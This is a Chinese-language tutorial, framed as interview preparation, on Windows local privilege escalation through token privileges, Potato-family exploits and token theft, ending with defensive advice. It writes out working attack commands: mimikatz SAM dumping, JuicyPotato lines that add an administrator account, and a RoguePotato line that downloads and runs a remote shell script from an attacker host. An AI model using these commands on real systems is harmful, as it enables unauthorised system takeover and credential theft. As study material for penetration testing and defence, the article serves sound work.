Windows系列本地提权面试相关问题汇总
字数 2762 2025-08-12 12:08:18
Windows本地提权技术全面解析
一、Windows提权基础原理
1. Windows九大权限详解
| 权限 | 描述 |
|---|---|
| SeImpersonatePrivilege | 身份验证后模拟客户端 |
| SeAssignPrimaryTokenPrivilege | 替换一个进程级令牌 |
| SeTcbPrivilege | 以操作系统方式执行 |
| SeBackupPrivilege | 备份文件和目录 |
| SeRestorePrivilege | 还原文件和目录 |
| SeCreateTokenPrivilege | 创建令牌对象 |
| SeLoadDriverPrivilege | 加载和卸载设备驱动程序 |
| SeTakeOwnershipPrivilege | 取得文件或其他对象的所有权 |
| SeDebugPrivilege | 调试程序 |
2. 常见服务账户权限
-
IIS或SQL Server用户通常具有:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
-
Backup service用户通常具有:
- SeBackupPrivilege
- SeRestorePrivilege
二、"烂土豆"(Rotten Potato)提权技术
1. 基本概念
"烂土豆"是通过欺骗"NT AUTHORITY\SYSTEM"账户通过NTLM认证到控制的TCP终端,然后使用中间人攻击(NTLM重放)为SYSTEM账户本地协商一个安全令牌。
2. 前提条件
- 已获得具有SeImpersonate权限或其他同等权限的账户
- 本地提权,不支持域用户
3. 优点
- 不会存在无法利用的情况
- Windows系统全版本通杀
- 提权速度快
4. 相关技术组件
BITS(后台智能传送服务):
- 异步传输文件
- 调整传输速度保证网络响应
- 断点续传功能
- 实现了IMarshal接口并允许代理声明强制NTLM身份验证
CLSID密钥:
- 标识COM类对象的全局唯一标识符
- 每个支持的对象类需要注册一个CLSID
三、Windows权限利用详解
1. SeImpersonatePrivilege
适用账户:
- 管理员或本地服务账户
- 服务控制管理器启动的服务
- 配置为特定账户运行的COM服务器
- IIS与SqlServer用户
利用思路:
- 利用NTLM Relay to Local Negotiation获得System用户的Token
- 使用Rotten Potato、lonelypotato或Juicy Potato工具
- 通过WinAPI CreateProcessWithToken创建新进程,传入System用户的Token
2. SeAssignPrimaryTokenPrivilege
利用原理:
- 获取System用户的Token
- 通过CreateProcess创建挂起的新进程
- 使用NtSetInformationProcess替换进程Token
与SeImpersonatePrivilege的区别:
- 使用CreateProcessAsUser而非CreateProcessWithToken
3. SeTcbPrivilege
攻击方法:
- 调用LsaLogonUser创建交互式登录会话获得Token
- 将Token添加至Local System account组
- 利用该Token赋予的System权限
4. SeBackupPrivilege
利用方法:
- 读取注册表SAM、SECURITY和SYSTEM文件
- 使用mimikatz破解密码
命令示例:
mimikatz # lsadump::sam /sam:SAM文件 /system:SYSTEM文件
5. SeRestorePrivilege
利用方法:
- 映像劫持(Windows 10中不可用)
- 对系统任意文件具有写入权限
6. SeCreateTokenPrivilege
攻击方法:
- 通过ZwCreateToken创建Primary Token
- 将Token添加至local administrator组
- 该Token具有System权限
7. SeLoadDriverPrivilege
攻击方法:
- 加载存在漏洞的驱动文件(如Capcom.sys)
- 利用驱动漏洞从普通用户提升至System权限
8. SeTakeOwnershipPrivilege
利用思路:
方案一:
- 修改注册表Image File Execution Options
- 劫持exe文件启动
方案二:
- 向任意路径写入dll文件
- 实现dll劫持
9. SeDebugPrivilege
攻击方法:
- 找到system权限的进程
- 进行dll注入
- 获得权限
四、常见提权工具及使用方法
1. Rotten Potato (烂土豆)
MSF利用步骤:
- 上传烂土豆到靶机
- 检查权限:
meterpreter > getprivs 或 whoami /all whoami /priv - 执行烂土豆:
execute -cH -f c:\wmpub\potato.exe - 模拟令牌:
list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"
2. Juicy Potato (多汁土豆)
适用版本:
- Windows < 10(部分版本)
- Windows Server < 2019
使用方法:
方案一:
- 检查权限:
whoami /all whoami /priv - 查看RPC端口:
netstat -abno - 执行提权:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {CLSID}
参数说明:
- -t t:使用SeImpersonate权限
- -t u:使用SeAssignPrimaryToken权限
- -t *:两者都使用
- -n:指定修改后的RPC端口
方案二:
juicyPotato_32.exe -p whoami
execute -f juicypotato.exe -p net user test 123456
execute -f juicypotato.exe -p net localgroup administrators test /add
3. Rogue Potato
适用版本:
- Windows >= 10(部分版本)
- Windows Server >= 2019
使用方法:
- 下载工具:
powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RoguePotato.exe', 'C:\tmp\RoguePotato.exe') powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RogueOxidResolver.exe', 'C:\tmp\RogueOxidResolver.exe') - 执行提权:
.\RoguePotato.exe -r 主机IP -c "{B91D5831-B1BD-4608-8198-D72E155020F7}" -e "powershell -c iex( iwr http://主机IP:端口/shell.ps1 -UseBasicParsing )" -l 9999 - Base64方式:
.\RoguePotato.exe -r 主机IP -e "cmd.exe /c powershell -EncodedCommand Base64加密" -l 9999
4. Hot Potato
适用版本:
- Windows 7/8/10
- Server 2008/2012
利用原理:
- 本地NBNS Spoofer:冒充名称解析
- 伪造WPAD代理服务器:强制NTLM认证
- HTTP -> SMB NTLM中继:创建提升的进程
五、Token窃取技术
1. Token类型
- Delegation Token(授权令牌):用于交互会话登录
- Impersonation Token(模拟令牌):用于非交互登录
2. 提权与降权
提权命令:
incognito.exe list_tokens -u
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权命令:
incognito.exe list_tokens -u
incognito.exe execute -c "DESKTOP-RMP8TTT\test" cmd.exe
六、防御建议
- 最小权限原则:服务账户仅授予必要权限
- 及时更新系统补丁
- 监控可疑的进程创建行为
- 限制RPC端口的访问
- 定期检查系统上的特权账户和Token使用情况
- 禁用不必要的服务(如BITS服务)
七、总结
Windows本地提权技术主要利用系统服务和权限设计的缺陷,通过令牌模拟、NTLM中继等方式实现权限提升。了解这些技术原理不仅有助于渗透测试,更能帮助系统管理员加强系统安全防护。